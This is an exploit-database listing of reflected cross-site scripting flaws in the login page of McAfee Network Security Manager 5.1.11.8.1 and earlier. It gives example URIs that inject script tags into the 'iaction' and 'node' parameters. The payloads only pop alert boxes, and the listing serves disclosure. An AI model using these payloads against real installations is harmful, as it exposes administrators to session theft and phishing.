[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

McAfee Network Security Manager <= 5.1.11.8.1 Multiple CSS

Author
Daniel King
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9978
Category
web applications
Date add
12-11-2009
Platform
jsp
=========================================================================================
McAfee Network Security Manager <= 5.1.11.8.1 Multiple Cross Site Scripting Vulnerabilities
=========================================================================================

Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.
 
The following example URIs are available:
 
https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57
 
https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(???XSS???)</script>8b3283a1e57



#  0day.today [2024-11-15]  #